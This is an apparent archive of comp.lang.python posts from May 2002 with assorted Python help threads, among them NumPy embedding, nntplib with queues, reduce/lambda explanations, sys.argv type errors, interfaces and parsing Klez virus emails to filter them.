Subject: NEVER MIND: new problem Message-ID: I finally realized the trouble: I forgot to include the Py_Initialize() call. However, when I do this, the compiled code segfaults when I call Py_Array_FromDims(): #include #include int main() { PyArrayObject *parray; int dimensions[1]; Py_Initialize(); dimensions[0]=10; parray = (PyArrayObject *)PyArray_FromDims(1,dimensions,PyArray_DOUBLE); Py_Finalize(); return 0; } From fredrik at pythonware.com Sun May 12 14:02:41 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 12 May 2002 18:02:41 GMT Subject: making python scripts backwards compatible References: Message-ID: <57yD8.37515$n4.8177493@newsc.telia.net> Brian Quinlan wrote: > This is a completely unreasonable request, which Guido fielded in -dev > recently; he pointed out that there is little point in adding language > features to Python if development is anchored to old language versions. development of what? given the context of the -dev discussion, I'm not sure Guido's brain was switched on when he posted that note: he pointed out that there is little point in adding language features to [the Python interpreter] if [library] development is anchored to old language versions fwiw, the latest PIL still works with 1.5 (and maybe earlier). if Guido thinks that affects his work on the interpreter in any way, I'd say he needs a vacation ;-) From kwokng at earthlink.net Thu May 2 17:05:28 2002 From: kwokng at earthlink.net (Billy Ng) Date: Thu, 02 May 2002 21:05:28 GMT Subject: debian python-mysqldb Message-ID: I want to connection my python program to talk to a mysql database. I am using debian linux and I have installed the testing python-mysqldb 0.9.1-3 module, but I got error when I used mysqldb.connect(). What is package name actually I should use? Would any please tell me how call the python-mysqldb methods? Thanks! Billy Ng From gh_pythonlist at gmx.de Tue May 28 05:08:26 2002 From: gh_pythonlist at gmx.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Tue, 28 May 2002 11:08:26 +0200 Subject: The email package and KLEZ mails In-Reply-To: <20020528123126.E27752@phd.pp.ru> References: <3cf33c82.91718234@News.CIS.DFN.DE> <20020528123126.E27752@phd.pp.ru> Message-ID: <20020528090826.GG505@lilith.my-fqdn.de> * Oleg Broytmann [2002-05-28 12:31 +0400]: > On Tue, May 28, 2002 at 08:21:56AM +0000, Gerson Kurz wrote: > > I'm using the email module (new in Python 2.2) to analyze messages for > > spam and HTML content. However, I get exceptions when analyzing KLEZ > > generated mails, which is disappointing since I'm trying to filter > > them in the first place. > > Klez is a carefully created virus. It sends mail that specifically > targets Outofluck holes. Those mail messages are constracted in violation > of RFCs, so you really cannot parse them with RFC-compliant tools :) Which is good, because it's a certain sign that you can just throw the message away because all the interesting email you'll get will be RFC compliant >:-) You could send an auto-reply in case somebody's MUA or mail system was fscked up. Gerhard -- This sig powered by Python! Au?entemperatur in M?nchen: 8.5 ?C Wind: 4.1 m/s From peter at engcorp.com Thu May 30 19:54:30 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 30 May 2002 19:54:30 -0400 Subject: Using nntplib References: <3cf633df_2@news.newsgroups.com> <04sJ8.51500$%u2.49899@atlpnn01.usenetserver.com> <3cf65536_3@news.newsgroups.com> Message-ID: <3CF6BBB6.8D953FF@engcorp.com> jb wrote: > > Steve Holden wrote: > > http://pydish.holdenweb.com/pwp/chp5notes.htm > > > > As far as informing the GUI thread about what's been received so far, > > whether you use LIST or XOVER perhaps you could just put the headers onto > > a Queue (see that Queue module) and letting the GUI thread take them off. > > That should ease up any critical-section issues. > > Thx, this sounds intresting. But I should have to change nntplib, should I > not? That I should use queues, is obvious. Should I insert enqueueing (?) > at the position I marked in my first posting? > > Maybe the best solution would be to use QSockets (as I work with PyQt). Then > I can use Qt signaling in a very natural way. I could create a new, > asynchronous version of nntplib, that works with Qt signals (and this seems > easy as nntplib is nicely documented and clear). What do you think of this? You might want to keep your NNTP stuff decoupled from Qt, which is (a) not standard, and (b) more intended for graphical user interfaces, as I understand it. It's a good design principle to keep separate the various portions of your system like this. Using something like Queue makes the code more modular, and more maintainable as a result. -Peter From marklists at mceahern.com Wed May 1 17:30:03 2002 From: marklists at mceahern.com (Mark McEahern) Date: Wed, 1 May 2002 16:30:03 -0500 Subject: Ways to get number of seconds from Epoch In-Reply-To: Message-ID: Mark, Regarding this format: [15/Apr/2002:08:28:56 +0200] I wrote: > That format seems a little odd: [brueckd at tbye.com] replied: > It is a little odd, but it's also how Common Log Format does timestamps: > > http://www.bacuslabs.com/WsvlCLF.html When you use mx.DateTime.DateTimeFrom on that format, here's what happens: >>> from mx.DateTime import DateTimeFrom >>> s = "[15/Apr/2002:08:28:56 +0200]" >>> dt = DateTimeFrom(s) >>> str(dt) '2002-04-01 02:08:28.00' So my question is whether that's a format mx.DateTime should support? It's easy enough to massage the data so that it's in a more recognizable format before passing it to mx.DateTime. I'm not personally invested in the answer, I just wanted to alert you to a question that came up on c.l.py. Cheers, // mark From mark at freelance-developer.com Wed May 15 09:23:52 2002 From: mark at freelance-developer.com (Mark Nenadov) Date: Wed, 15 May 2002 09:23:52 -0400 Subject: Beginner question References: Message-ID: Luis Fernandes wrote: > Is Python a good language for large database applications? > > > Thanks > Luis Fernandes Yes it is. -- ~Mark Nenadov (Software Developer for Hire - http://www.freelance-developer.com) From db3l at fitlinxx.com Tue May 7 23:04:29 2002 From: db3l at fitlinxx.com (David Bolen) Date: 07 May 2002 23:04:29 -0400 Subject: extraneous import statements needed References: Message-ID: Jeff Davis writes: > I created a module that is essentially one big class. At the top I have a > group of import statements (outside the class). Within my methods I call > functions such as string.split(). However, I get strage error messages > about "type None does not have attribute split" or something similar > (always thinks that the module name is instead a None object). If your basically down to a line that uses "string.split" and that's the one giving you that error, then it seems most logical that something else is using the name "string" within your class instance and hiding the global module, and that the instance variable is referencing None at the point when it executes. E.g., could you accidentally be using an instance (or class) variable and calling it string? Or if not obvious, could some external code be injecting an instance variable by that name? Without seeing some actual code and an example of the error, it's hard to say much more at this point. But if you can create the error (even if in a complex case) you might try adding some debugging in front of the line to dump your locals() and/or just "string" itself to try to see what it is before use. If reproducing the problem is difficult, you could enclose each of your methods in a try/except block waiting for this error and then doing some debugging at that point. -- -- David -- /-----------------------------------------------------------------------\ \ David Bolen \ E-mail: db3l at fitlinxx.com / | FitLinxx, Inc. \ Phone: (203) 708-5192 | / 860 Canal Street, Stamford, CT 06902 \ Fax: (203) 316-5150 \ \-----------------------------------------------------------------------/ From mcherm at destiny.com Thu May 30 09:43:20 2002 From: mcherm at destiny.com (Michael Chermside) Date: Thu, 30 May 2002 09:43:20 -0400 Subject: How to concatenate list members Message-ID: <3CF62C78.8090708@destiny.com> Eric (at least half-jokingly): > If you like one-liners, you can also do this: > > b = (a and reduce(lambda x,y: x + "_" + y, a)) or '' R?diger: > Hello Eric, > > Thanks for your solution (although I don't understand it). Well, first of all, Eric was partly joking... this this is more difficult to read than his other solution, and therefore not particularly Pythonic. However, I'll attempt to interpret for you: b = (a and reduce(lambda x,y: x + "_" + y, a)) or '' b = We're simply setting b to some value. (a and reduce(lambda x,y: x + "_" + y, a)) or '' (a and ) or This pattern is a sort of if-else in one line. If bool(a) is True, it returns , while if bool(a) is False, it returns . So in this case, a is a list, and they're true if they have any elements. So this returns (ie '') if a is an empty list, and (ie reduce(lambda x,y: x + "_" + y, a)) if a has elements. reduce(lambda x,y: x + "_" + y, a) reduce( , a ) The reduce() function takes a pair-wise function and keeps applying it to items in a sequence. So, for instance, if you used reduce(operator.add, range(10) it would calculate 0+1+2+3+4+5 = 10. The order of operations is like this: (((((0+1)+2)+3)+4)+5). So the function that we're applying is lambda x,y: x + "_" + y. lambda x,y: x + "_" + y This is a lambda function which takes two things x and y and adds them together with "_". Since strings like "_" can only be added to other strings, x and y had better be strings. In which case, the function just glues them together with a "_" in between. So... we we start upwrapping, we get this: Glue together with "_" ... all of the strings in a from left to right ... and return that if a has any items ... return '' instead if a is an empty list. I realize that this was a HUGE amount of analysis on a simple looking line, but that's the way to approach these things if you don't understand them at first... take it in layers, from the outside in or the inside out. Hope this was informative at least! -- Michael Chermside From s.thuriez at laposte.net Wed May 8 13:42:51 2002 From: s.thuriez at laposte.net (sebastien) Date: 8 May 2002 10:42:51 -0700 Subject: no buffer space available error Message-ID: Hi, I am trying a program that scan all the machines in the network that are ftp server. After about 50 to 100 scan, I get the message : no buffer space available. import timeoutsocket timeoutsocket.setDefaultSocketTimeout(5) BUFSIZE = 1024 FTP_PORT = 21 FTP_DATA_PORT = FTP_PORT - 1 FTP_DATA_PORT = FTP_DATA_PORT + 50000 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setblocking(0) try : s.connect((hostname,FTP_PORT)) except socket.error, why : print 'cannot connect...',why[1] This is embedded in a function and I pass the hostname that I want to be tested. What do I do wrong ? As I get the message can I flush the buffer ? I am running python 2.1.1 on Windows Me and NT. Regards, Sebastien. From chrisl_ak at hotmail.com Wed May 22 18:15:55 2002 From: chrisl_ak at hotmail.com (Chris) Date: 22 May 2002 15:15:55 -0700 Subject: Why is this question so beloved? Re: Is python really slow? References: Message-ID: "David LeBlanc" wrote in message news:... > This question is so beloved because it is in the nature of men to compete > even when it's irrelevent. "My is > then your ". I am in a situation where I want to learn a language that is capable of being used to make coherent, larger applications. I know it can be done in Perl, but my experience with it leads me to think that *I* need something different. After investigating various languages, it came down to either Python or C (for now at least). But as I delved into Python more I became nervous that the implication of the regular discussions hereabouts that involve dropping out of python into C at X, Y and Z might be that python by itself is not up to this task. I was beginning to feel like the unspoken sentiment was "if you want to do something really cool in python, you will need to learn C as well" I am glad to find out otherwise for all the good reasons given in the earlier thread. I simply don't have time right now to learn two more languages and want to focus my efforts on that which will be of the most use for me... performance is an issue, but not the ultimate issue! From parker at gol.com Sat May 4 19:58:26 2002 From: parker at gol.com (Ian Parker) Date: Sat, 04 May 2002 23:58:26 GMT Subject: Python for OpenVMS References: <6e290423.0205011628.6a8092a6@posting.google.com> Message-ID: In article <6e290423.0205011628.6a8092a6 at posting.google.com>, Bruce Visscher writes >There was some discussion of this some time ago. > >Reference this thread: > >http://groups.google.com/groups?hl=en&threadm=mailman.1016488230.30076.p >ython-list%40python.org&rnum=2&prev=/groups%3Fq%3Dvms%2Bgroup:comp.lang. >python.*%26hl%3Den%26scoring%3Dd%26selm%3Dmailman.1016488230.30076.pytho >n-list%2540python.org%26rnum%3D2 > >In any case, I am working on getting this up and running again. > >This time, however, I would like to use the configure script running >under GNV (an open source project that is the moral equivalent of >cygwin but for VMS). > >I have managed to create a working version of the interpreter under >that environment. > >What I would like to know is: What is the best way to submit any >patches needed to be incorporated into the next release of Python? I >am currently working from the FTP snapshots (I am using 20020430 at >the moment). > >Thanks, > >Bruce Visscher This is great news. I was worried about what was happening to VMS Python. Python provides an excellent alternative to DCL and It would be excellent to see it become more mainstream (as much as any VMS application can). Regards -- Ian Parker From chris.myers at ingenta.com Wed May 8 11:23:30 2002 From: chris.myers at ingenta.com (Christopher Myers) Date: Wed, 08 May 2002 11:23:30 -0400 Subject: sys.argv and while loop References: <3CD9376E.BEF43213@jpl.nasa.gov> Message-ID: <3CD942F2.B1F97BE9@ingenta.com> Your problem stems from the fact that you are assuming that the variable orbits is an integer, when in fact it is a string. If you change your while clause to: while count < int(orbits) or, after adding an "import string" to the top of your script (since I'm not sure if the int function existed in Python 1.3): while count < string.atoi(orbits) It should work fine. Good luck. =) Julia Bell wrote: > > Using Python 1.3 on an HP (UNIX) (to write my first Python script): > > In the following script, the while loop doesn't exit as expected if one > of the variables in the conditional is assigned to equal sys.argv[1]. > It works as expected if I explicitly set the variable to the number > (that is entered as the argument). > > (stored in executable myscript.py) > #!/usr/local2/bin/python > import sys > count = 0 > orbits = sys.argv[1] > while count < orbits: > print count, orbits > count = count + 1 > if count > 100: # use this to prevent the infinite loop it gets > into > sys.exit ( 1 ) > > The command line I use is: > myscript.py 16 > > The while loop does not exit when count becomes > 16 (until it hits the > "if" statement that I included to prevent the infinite loop). > If I replace the "orbits = sys.argv[1]" statement with "orbits = 16" and > run the script without the argument (but still importing sys), the while > loop does exit. > > How can I define orbits to equal the value of the command line argument > and later use that variable to simply represent the number? > > Julia Bell -- Christopher Myers, Graduate Software Developer Ingenta, Inc. 12 Bassett St. Providence, RI 02903 ph: 401.331.2014 x 102 em: chris.myers at ingenta.com aim: chrismyers001 From shalehperry at attbi.com Wed May 8 18:39:31 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Wed, 08 May 2002 15:39:31 -0700 (PDT) Subject: Comments In-Reply-To: <2DhC8.39376$zW3.419749@news1.tin.it> Message-ID: On 08-May-2002 Alex Martelli wrote: > Sean 'Shaleh' Perry wrote: > ... >> thanks for clearing that up Tim. Not sure I like the idea of random >> strings being used for comments, but at least they are reasonably cheap. > > Totally random strings would make very unlikeable comments -- how > can you be unsure about it? Just imagine the mishmash of letters, > digits, punctuation -- suitable for a Perl script perhaps, but surely not > for a Python comment. > You say many interesting things in the rest of this. However perhaps my intent was not clear. When I see: # hi, you should never set the next line to 1 value = 0 versus: """hi, you should never set the next line to 1 value = 0 I prefer the obvious comment versus the string. BTW 'pastiche' means what? From op73418 at mail.telepac.pt Fri May 17 10:55:39 2002 From: op73418 at mail.telepac.pt (Gonçalo Rodrigues) Date: Fri, 17 May 2002 15:55:39 +0100 Subject: How many languages features are available for OO support? References: <9r5F8.142619$o66.424520@news-server.bigpond.net.au> <20020517114023.GB1787@lilith.my-fqdn.de> Message-ID: On Fri, 17 May 2002 13:41:00 +0100, "Pedro B. Gomes Costa" wrote: >Hi > >> > Does Python support the notion of an abstract class or an interface >> > through the use of language features? > >Here is a quote from the excelente book "Thinking in Python" from my >favourite C++/Java and now Python book writer, Bruce Eckel >(www.bruceeckel.com) > >"Because Python is weakly typed, it doesn't really care about interfaces - >all it cares about is applying operations to objects (in fact, Java's >interface keyword would be wasted in Python). This means that inheritance in >Python is different from inheritance in C++ or Java, where you often inherit >simply to establish a common interface. In Python, the only reason you >inherit is to inherit an implementation - to re-use the code in the base >class." > >Btw, you can download a electronic version of the book from the address >above. > >Pedro Costa > I agree with what you say, but interfaces can serve another very important purpose (VIP). Quoting from M. Pelletier interfaces PEP 245: "There are many implied interfaces in Python, commonly referred to as "protocols"." "Currently determining those protocols is based on introspection, but often that also fails. For example, defining __getitem__ implies both a sequence and a mapping (the former with sequential, integer keys). There is no way for the developer to be explict about which protocols the object intends to implement." "There is no unified model for determining if an object can be used in a certain, valid way." That is, an interface specification could (should) serve to declare a protocol for a given object, e.g. if a class implemented interface IIterable (the objects are iterable) then a method __iter__ must be declared in the class and with the right signature. If for a moment we take an extensional definition of interface (= a set of classes) then prolly it could be implemented using metaclasses, although I haven't figured out *exactly* how. Some syntactic sugar could then be added on top of this (a la PEP 245). Anyway, what I would like to stress is that in Python one mostly codes for/against behaviour (protocol) and not type, and that some form of behaviour declaration (interface) would be highly desirable, IMHO. All the best, Gon?alo Rodrigues From s997659 at ee.cuhk.edu.hk Tue May 28 05:27:27 2002 From: s997659 at ee.cuhk.edu.hk (Geiger Ho) Date: Tue, 28 May 2002 17:27:27 +0800 Subject: Namespace problem Message-ID: Hi all, Consider: File1.py: --------- import File2 import File3 class A: def __init__(self): self.b = File2.B() self.c = File3.C() def run(): pass if __name__ == '__main__': a = A() a.run() File2.py: --------- class B: def foo(self): pass File3.py: --------- class C: def fun(self): # a method need to callback a.b.foo() # how can I implement Question: How should I call the a.b.foo() in the fun method? Thanks in advance. Regards, Geiger From christian.aastorp.killspam at siemens.no Fri May 31 06:03:14 2002 From: christian.aastorp.killspam at siemens.no (Christian Aastorp) Date: Fri, 31 May 2002 12:03:14 +0200 Subject: Interfacing to 1-Wire LAN, especially Dallas temperature sensors? Message-ID: I'm considering doing some temperature control and logging, both enviromental and inside computers. Did a google search, and found references to the range of temperature sensors from Dallas Semiconductors. I also found schematics for interfacing with the serial port, and timing diagrams for implementing 1-Wire Lan using direct control of the port. As I'm using Python for my programming, these days, I would like some pointers to modules or techniques to use Python to read the temperature sensors. Christian Aastorp From andymac at bullseye.apana.org.au Mon May 20 05:27:49 2002 From: andymac at bullseye.apana.org.au (Andrew MacIntyre) Date: Mon, 20 May 2002 20:27:49 +1100 (edt) Subject: Problems importing _sre w/VC7-compiled Python 2.1 In-Reply-To: <597ee21d.0205190526.4feffd31@posting.google.com> Message-ID: On 19 May 2002, David Aldridge wrote: > After more investigation, turns out init_sre() was NOT > __declspec(dllexport)! I had been under the impression that sre was intended to always be built into the Python core (ie not as a loadable extension module), which might explain some of what you found. -- Andrew I MacIntyre "These thoughts are mine alone..." E-mail: andymac at bullseye.apana.org.au | Snail: PO Box 370 andymac at pcug.org.au | Belconnen ACT 2616 Web: http://www.andymac.org/ | Australia From brian at sweetapp.com Sun May 5 22:13:28 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Sun, 5 May 2002 19:13:28 -0700 Subject: making python scripts backwards compatible In-Reply-To: <3CD5E3E3.6D44C4CB@cascade-sys.com> Message-ID: <000101c1f4a3$9ecf5900$445d4540@Dell2> James J. Besemer wrote: > I could be mistaken and correct me if I am wrong but I thought the case in > point was about a contribution made OUTSIDE of a standard distribution. > In that case the original poster humbly (with just a touch of frustration) > asked for authors to provide at least a CLUE about what release the > software might reasonably be expected to work with. The original poster was speaking of SimpleXMLRPCServer, which he extracted from core Python. > IIRC, the author furthermore said he was using a CVS version of Python > instead of an official release, I suppose making it even harder to comply > with an otherwise reasonable request (IMHO). When you are writing a module that is supposed to ship with the forthcoming version of Python, using CVS (or a prerelease) is the most effective means of testing. Cheers, Brian From peter at engcorp.com Fri May 24 23:17:11 2002 From: peter at engcorp.com (Peter Hansen) Date: Fri, 24 May 2002 23:17:11 -0400 Subject: Academic citation for Python References: <3CEEE0D8.7030102@bellatlantic.net> <3CEEEE42.60D47318@engcorp.com> Message-ID: <3CEF0237.E31F6C9E@engcorp.com> David Eppstein wrote: > > ... I can imagine situations in which I'm > writing an academic paper, and want to use Python to describe an > algorithm or something, but don't trust my audience to all know Python. > So, I'd say that my algorithm was written in Python [1], where the > numbered reference points to somewhere people could go to learn what > Python is. Is there a canonical source of information or should one > just pick one of the intro to Python programming books? http://www.python.org/doc/current/ref/ref.html Or just point them to www.python.org and let the intelligent readers figure out where to go from there. -Peter From mutsuura at mutsuura.com Thu May 30 09:38:22 2002 From: mutsuura at mutsuura.com (Attila Horvath) Date: Thu, 30 May 2002 09:38:22 -0400 (EDT) Subject: backward/forward compatibility in PYTHON? In-Reply-To: Message-ID: Dear PYTHON community, I'm new to PYTHON but am considering it for a new project development. As with any new language system I have a key concern: How is backward (and forward) compatibility resolved in PYTHON? Scenario: I develop a system using version x.y and distribute it. My s/w system finds its way to a client site using earlier version x.[y-1] of PYTHON void of certain methods/features existing in my development environment. I assume then that runtime errors will occur at the client site. I also assume there are ways to determine if client's system is compatible to run my distributed s/w. Similar questions arise when bug fixes and/or certain functional enhancements are made within PYTHON's builtin functions and methods from version to version. Is there a formal function & behavioral definition for PYTHON's each and every builtin function and method to ensure consistency and forward compatibility? Attila From sdm7g at Virginia.EDU Thu May 30 16:20:56 2002 From: sdm7g at Virginia.EDU (Steven Majewski) Date: Thu, 30 May 2002 16:20:56 -0400 (EDT) Subject: Avoiding `exec', how to? In-Reply-To: Message-ID: On 30 May 2002, [iso-8859-1] Fran?ois Pinard wrote: > Hi, my fellow snakes :-). > > I do not like using `exec', and wonder if there is a way to avoid it in: > > > # Fabriquer une variable globale pour chaque lment de DEFS. > for name, value in defs.__dict__.items(): > if name[0] != '_': > # J'aimerais bien viter `exec'... > exec '%s = %s' % (name, repr(value)) > del defs, name, value > > > The goal here is to initialise one global variable per item in DEFS, > preserving the item name and value in each. setattr will work for modules and is the best way to dynamically 'evaluate' assignments: setattr( module, name, value ) If you have to get a handle to a module while it's being executed on it's initial import, you can use: import sys module = sys.modules[__name__] If you want the assignments to be in the main module, use: import __main__ module = __main__ which will work even executed in the __main__ module. -- Steve Majewski From nas at python.ca Mon May 20 14:40:52 2002 From: nas at python.ca (Neil Schemenauer) Date: Mon, 20 May 2002 11:40:52 -0700 Subject: Sort dictionary data In-Reply-To: <67F0CEAF5F0ED411B53900508BC5C8BC700105@admin.datacraft.com.br>; from m.laranjeira@datacraft.com.br on Mon, May 20, 2002 at 03:10:32PM -0300 References: <67F0CEAF5F0ED411B53900508BC5C8BC700105@admin.datacraft.com.br> Message-ID: <20020520114052.A8500@glacier.arctrix.com> You can't sort a dictionary. You probably want something like: d = { 'b': 1, 'a': 2} items = d.items() items.sort() HTH, Neil From martin at v.loewis.de Fri May 3 01:25:21 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 03 May 2002 07:25:21 +0200 Subject: htmllib & do_meta question References: <3CD20049.920D6A91@uni-bielefeld.de> Message-ID: Marcus Schopen writes: > I use this for parsing a HTML File for META TAGS description and > keywords. It seems to work fine. Did I miss something or is there a > better way to do this? That is a good way to do this. > def do_meta(self, attributes): > name = content = "" > for key, value in attributes: > if key == "name": > name = value > elif key == "content": > content = value > if string.lower(name) == "description": > self.description = string.strip(content) > elif string.lower(name) == "keywords": > self.keywords = string.strip(content) If you want to further dispatch on the name, you could do def do_meta(self, attributes): a_dict = dict(attributes) name = a_dict.get('name') if name: try: m = getattr(self, 'meta_'+name) except AttributeError: return self.meta_name(name, a_dict['content']) else: return m(a_dict['content']) http_equiv = a_dict.get('http-equiv') if http_equiv: return self.meta_http_equiv(http_equiv, a_dict['content']) Notice that the builtin dict won't give you a case-insensitive dictionary, so you'll have to do all the lowercasing explicitly, anyway. HTH, Martin From max at alcyone.com Fri May 17 19:08:04 2002 From: max at alcyone.com (Erik Max Francis) Date: Fri, 17 May 2002 16:08:04 -0700 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> Message-ID: <3CE58D54.BD046D02@alcyone.com> "James J. Besemer" wrote: > Actually Denis seemed to be suggesting that sets themselves should be > immutable so they could Serve as dictionary keys. I think it's very > plausable that sets would be used in this manner.. I see. Certainly it's not inconceivable that some might use sets in this manner, but it seems just as likely, if not more so, that people would want sets (themselves) to be mutable, so that objects can be added and removed. Certainly having the sets themselves, like tuples, being immutable eliminates the question of what kind of elements can be contained within them, but that seems extremely limiting. The goal here is finding the right balance between usefulness and arbitrary limitations. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From fperez528 at yahoo.com Thu May 2 12:52:39 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Thu, 02 May 2002 10:52:39 -0600 Subject: F2PY problems References: <3CD11924.1B4EAA0E@kfunigraz.ac.at> Message-ID: Siegfried Gonzi wrote: > Is there a good soul out there, who can help with my problem? > > I want to use F2PY, but after following the examples: > Are you on the scipy-users mailing list? Pearu (f2py's creator) hangs out there and he's extremely helpful and responsive, I'm sure you'll have better luck there than here, as f2py is a rather specialized tool these days. Cheers, f. From shalehperry at attbi.com Fri May 10 15:51:13 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Fri, 10 May 2002 12:51:13 -0700 (PDT) Subject: path.startswith(dir)? In-Reply-To: Message-ID: > > This ought to be a safe/platform independent way of doing it, right? look at os.path. From akuchlin at ute.mems-exchange.org Thu May 2 15:10:09 2002 From: akuchlin at ute.mems-exchange.org (A.M. Kuchling) Date: 02 May 2002 19:10:09 GMT Subject: pmw scrolled frame widget References: <29e28c51.0205021025.627e1fba@posting.google.com> Message-ID: In article <29e28c51.0205021025.627e1fba at posting.google.com>, Cimarron Taylor wrote: > Based on that I would suggest you attempt > self.sf._frame.configure(bg='white') > or whatever color you need. You can get the contained frame without messing with private variables by calling the .interior() method: self.sf.interior().configure(bg='white') --amk From cliechti at gmx.net Sat May 4 14:25:44 2002 From: cliechti at gmx.net (Chris Liechti) Date: 4 May 2002 20:25:44 +0200 Subject: Slight irritation with try/finally indentation References: <87bsc7b233.fsf@tleepslib.sk.tsukuba.ac.jp> <28UA8.4260$zW3.106993@news1.tin.it> <87pu0b95wm.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: "Stephen J. Turnbull" wrote in news:87pu0b95wm.fsf at tleepslib.sk.tsukuba.ac.jp: >>>>>> "Fran?ois" == Fran?ois Pinard writes: > > [Alex Martelli] >> Fran?ois Pinard wrote: > >> > [Stephen J. Turnbull] >> ... >> >> try: >> >> setup() >> >> process() >> >> except SetupError: >> >> pass >> >> else: >> >> cleanup() >> > >> > Clever, and nice. Thanks for this idea, I'll ponder it. > >> But this only calls cleanup if process does NOT raise. NOT the same >> semantics as a try/finally *at all*! > >> What am I missing...? > > Fran?ois> I misread it, sorry. > > But AFAICT it does what you want. no it does not what he wants... he wants that cleanup() is called in _any_ case regardless if an exception was raised or not. when process() raises an exception, cleanup() is not called with the "else" in the above snippet. "try: finaly:" does guarantee that the code under finaly is allways executed. chris -- Chris From aleax at aleax.it Mon May 6 11:35:08 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 06 May 2002 15:35:08 GMT Subject: Python vs. Perl, which is better to learn? References: Message-ID: Gustavo Cordova wrote: ... > "You can write really good, robusr, readable, maintainable code in > assembler." Oh yes you can. I still remember what a joy it was to read Mike Cowlishaw's BAL/370 code for the original Rex interpreter (before it gained an extra X) -- with the System/370 Principles of Operation book, the thick printed listing of Mike's Rex, and highlighter and pen to cross-reference things, I taught myself 370 Basic Assembly Language (i.e., no fancy macros) and soon knew it far better than I ever did the assembly-level languages I had learned in University (Z80, HP/1000, PDP-11, VAX, and Knuth's Mixal). I've never seen such joy-to-read large swathes of assembler code for any machine _except_ IBM's mainframes, though. And even for the 360 and 370, _most_ code I later had to study was a huge disappointment compared to Mike's Rex interpreter (as, no doubt, was, to other readers, that I wrote myself). I think it takes an exceptionally clean architecture (IBM/360, where art thou!), an exceptionally good coder, AND a culture that reveres assembly code, performance, spareness of expression, AND clarity. IMNSHO not even Knuth consistently reaches such heights in his masterpiece, for all that his code snippets are tiny compared to Mike's opus. These days, I suspect the culture prereq has just dissipated: we'll never see the like of that again, I think. *For all that*... Mike was just as clear &c, and 10 to 100 times more productive, when he programmed in a higher-level language he really liked (such as his own Rex, of course:-). Part of why I think we'll never see such splendid huge assembler programs is *we can't afford them* -- we, as a society, cannot afford to cut the productivity of the very best coders by one or two order of magnitude in terms of FP produced per hour of programming effort. We're just too hungry for programs, and the very best coders far too scarce a resource. Alex From loewis at informatik.hu-berlin.de Sun May 5 13:01:50 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 05 May 2002 19:01:50 +0200 Subject: making python scripts backwards compatible References: <008401c1f3a8$63eebc50$445d4540@Dell2> Message-ID: "James J. Besemer" writes: > I beg to differ. Rather his request is quite reasonable. > > He merely asks to maintain backward compatibility OR (!) be sure to > document your version requirements at the top of your source. It is not clear from whom he is requesting such action, though. > How can any reasonable person disagree? > > Only if he insisted on just the first half of his request would he then, > arguably, be asking too much. I think the OP is indeed requesting only the first half. SimpleXMLRPCServer.py is part of the standard library in current releases, and the standard library *only* works with the Python interpreter that ships with it, not with earlier versions, not with later versions. Regards, Martin From joost_jacob at hotmail.com Tue May 7 10:44:04 2002 From: joost_jacob at hotmail.com (J.Jacob) Date: 7 May 2002 07:44:04 -0700 Subject: Moving things in Tkinter References: <659f82ff.0205061040.14c36c09@posting.google.com> Message-ID: <13285ea2.0205070644.56ec7365@posting.google.com> You want to click on an image and move it with the mouse. Put the image on a Tkinter canvas. Catch the mouse events and bind them to your function that moves the image, like: myfancycanvas.bind('', selectimagefunction ) myfancycanvas.bind('', moveimagefunction ) The callback functions have to have an event in their header, like: def moveimagefunction(event): yourcode = here This is off the top of my head and i am not sure about the correct event strings but this is about what i would do. I think you need a book about Tkinter programming, the best thing i found was the chapters in Programming Python from Mark Lutz. There is another book on Tkinter programming but i could never get my hands on it. From mwh at python.net Tue May 21 06:48:43 2002 From: mwh at python.net (Michael Hudson) Date: Tue, 21 May 2002 10:48:43 GMT Subject: string module References: <3_3G8.8070$p56.2287391@newsb.telia.net> Message-ID: Fernando P?rez writes: > Fredrik Lundh wrote: > > >> Why the difference? > > > > the readline library might be messing up the locale. > > Indeed! Thanks for the information, I was really puzzled. Here's > what happens: [...] > So indeed, since I'm loading readline at the interactive prompt, there's an > under the hood resetting of the locale. Ah, the beauty of perl-like silent, > implicit global changes ;) Now trying playing with signals at the interactive prompt[1] . I wouldn't want to live without readline, but sometimes I do wish it wouldn't bugger around with stuff my application cares about so much. Cheers, M. [1] As in: http://mail.python.org/pipermail/python-dev/2001-November/018420.html -- MARVIN: Oh dear, I think you'll find reality's on the blink again. -- The Hitch-Hikers Guide to the Galaxy, Episode 12 From cliechti at gmx.net Wed May 1 16:00:54 2002 From: cliechti at gmx.net (Chris Liechti) Date: 1 May 2002 22:00:54 +0200 Subject: Help: Using MyODBC with Python References: Message-ID: Sabine Richter wrote in news:mailman.1020279542.4329.python-list at python.org: > I downloaded and installed myODBC 3.51. As far as I understand, it is > only the driver, which provides the connection to the database. In my > example, it is MySQL 3.23.49. > The manual says that in my application I have to allocate the > environment handle, set the version, allocate the connection handle, > conect to the server etc.. But don't I have to have a library / module > which provides functions which I can use to do all that? But where is > it? Or do I have to write all that by myself? I don't know where to > begin. i only used mysql-python (http://sourceforge.net/projects/mysql-python) which does not need the ODBC layer. if you want to use ODBC, people seem to be happy with "mxODBC" (not used it myself, serach on google for it) chris -- Chris From gkrohn at tcq.net Wed May 1 05:54:43 2002 From: gkrohn at tcq.net (Greg Krohn) Date: Wed, 1 May 2002 04:54:43 -0500 Subject: Problem while reading a text file in reverse order. References: <284b44c2.0204302350.7c013690@posting.google.com> Message-ID: [snip] > Is there a way to enable '\r' for read() method on Windows, or to code > it intelligently :-) to handle it. (by means of either completely not > caring about line feeds, 